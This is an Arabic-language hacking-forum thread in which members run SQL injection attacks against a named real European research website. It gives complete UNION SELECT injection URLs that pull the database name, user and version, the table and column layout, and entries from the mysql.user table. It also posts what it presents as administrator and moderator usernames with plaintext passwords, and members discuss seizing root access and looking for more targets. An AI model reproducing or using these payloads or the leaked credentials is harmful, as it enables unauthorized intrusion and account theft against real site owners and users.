غرفة حقن قواعد البيانات {غرفة Sql }

[darkman.dz]

أخي العزيز medoo_mohamed
أعجبتني بعض الأشياء في هذا الهدف
وهي
1- هناك root
2- الموقع خفيف التصفح جدا
3- يحمل علم الإتحاد الأوروبي ههههههههههههههههههههههههههه
جاري المتابعة + هناك طريقة حقن جديدة ههههههههههه أنا أطبقها الآن

[medoo_mohamed]

ههههههههه فعلا علم الاتحاد الاوروبىلوحدة يغيظ علشان كده نشتغل عليه بذمة شوية هههههههههه

وجود الروت بتاعه عاجبنى بس للاسف باسوورد الروت مش راضى يطلع معرفش ليه

[darkman.dz]

تفضل أخي العزيز

http://www.adas-fusion.eu/theme.php?id=-4 UNION SELECT 1,2,3,group_concat(database(),0x3a,user(),0x3a,@@version),5,6--

database =  adas_eu 
user = root@localhost
version = 5.0.45

tables =  task,theme,workpackage
=======================================
columns of "  workpackage " = id,theme,shortname,code,name,objective
columns of "theme"                  = id,code,shortname,name,description,science
columns of "task"                     = id,workpackage,shortname,description,revision,experiment,repeatnumber

والحقنة الأخيرة أتركها لكم لتركيبها كما تشاؤون وتتمكنو من تصفح كل العمواميد لأني  وضعت كل  نواتج إستعلامات الأعمدة 
وشكرا

[darkman.dz]

هاته النتائج أنا طلعتها بواسطة طريقة حقن جديدة
هههههههههههههههههههههههههههههههههههههههه

[darkman.dz]

medoo_mohamed
أخي العزيز
أنا طلعت أشياء أخرى بطريقة أخرى
وجاري وضع الإستغلال كامل
------------------------
يوم رمضان هذا و الله مبارك علي
هههههههههههههههههه
تعلمت حوالي 50 شيئ في ظرف 3 ساعات

[medoo_mohamed]

احسنت اخى على الحقن بطرق جديدة ان شاء الله فى تقدم

وان شاء الله يستفيد الاعضاء اللى يدخلوا الموضوع ونستفاد معاهم

[darkman.dz]

medoo_mohamed
أخي العزيز
لم التالي
1- سحب باسوورد ويوزر الأدمن
2- الأعضاء ال 5 اللي معاه (ربما أدمن حتى هم )
3- إيجاد الهوست و الباس و اليوز للدحول بحساب root
هههههههههههههههههههههههههههههههههههههههههههههههه
الحمد لله
الآن أنا ذاهب في المساء سأعود وتكون النتائج أمامك
لأني مازال ملخمنتش لوحة التحكم + جاري الإطلاع على المواقع اللي على هذا السيرفر قبل عمل أي خطوة
لنا عودة في المساء بعد الإنتهاء من الرياضة
أنا خارج الآن

[medoo_mohamed]

وانا متواجد الليلة ان شاء الله وفيه اهداف جديدة

ترجع بالسلامة يا غالى

[darkman.dz]

تفضل أخي
الحقنة التي وعدتك بها

mantis_user_table:password:bugtracker
mantis_user_table:lost_password_request_count:bugtracker
user:password:cvs
user:Password:mysql
user:password:openuser
==============================
**********************************************************
**mantis_user_table:password:bugtracker**
**********************************************************
mantis_user_table:id:bugtracker
mantis_user_table:username:bugtracker
mantis_user_table:realname:bugtracker
mantis_user_table:email:bugtracker
mantis_user_table:password:bugtracker
********************************
***user:password:cvs***
********************************
user:id:cvs
user:fullname:cvs
user:username:cvs
user:password:cvs
user:auth:cvs

**************
for root****
**************
user:Host:mysql
user:User:mysql
user:Password:mysql

*************************************************
account of admin and the moderators
1:allan:apple123
2:oli:fefeef
3:mog:gom
4:nicholas:lom456ond
5:afoster:ofa
6:summers:mus
************************************

وهاته حقنة الحصول على حساب ال root

http://www.adas-fusion.eu/workpackage.php?id=-1%20UNION%20SELECT%201,2,3,4,concat%28user,0x3a,password%29,6+from+mysql.user--

:Great:

[darkman.dz]

+ أنا تفحصت الموقع
هوفقط المركب على السيرفر المحلي
بالإصاقة إلى موقعين أو ثلاثة تابعة لنفس الموقع

[Master vbspiders]

[align=center]ما يجيبها الا رجالها ابطال والله...
واصلو
تحياتي[/align]

[NeTCaT-Ma]

السلام عليكم شباب ممكن هدف سهل أتعلم عليه

[Master vbspiders]

اقتباس المشاركة الأصلية كتبت بواسطة mr.tchach السلام عليكم شباب ممكن هدف سهل أتعلم عليه

[align=center]جاري البحث...
تحياتي[/align]

[darkman.dz]

اقتباس المشاركة الأصلية كتبت بواسطة mr.tchach السلام عليكم شباب ممكن هدف سهل أتعلم عليه

back to the old targets
and try to injecting it again
that's so easy to do
for can know your mistake
and for learn more about that

[NeTCaT-Ma]

شكرا لك أخي